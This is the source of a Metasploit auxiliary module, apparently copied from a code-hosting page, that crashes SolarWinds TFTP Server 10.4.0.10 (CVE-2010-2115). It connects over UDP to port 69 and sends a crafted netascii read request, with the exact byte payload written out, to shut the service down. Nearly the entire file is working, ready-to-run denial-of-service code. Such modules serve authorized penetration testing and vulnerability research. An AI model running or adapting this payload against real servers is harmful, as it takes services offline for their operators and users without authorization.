Path: blob/master/modules/auxiliary/dos/windows/tftp/solarwinds.rb
21549 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'SolarWinds TFTP Server 10.4.0.10 Denial of Service',14'Description' => %q{15The SolarWinds TFTP server can be shut down by sending a 'netascii' read16request with a specially crafted file name.17},18'Author' => 'Nullthreat',19'License' => MSF_LICENSE,20'References' => [21[ 'CVE', '2010-2115' ],22[ 'OSVDB', '64845' ],23[ 'EDB', '12683' ]24],25'DisclosureDate' => '2010-05-21',26'Notes' => {27'Stability' => [CRASH_SERVICE_DOWN],28'SideEffects' => [],29'Reliability' => []30}31)32)3334register_options([35Opt::RPORT(69)36])37end3839def run40connect_udp41print_status('Sending Crash request...')42udp_sock.put("\x00\x01\x01\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00")43disconnect_udp44end45end464748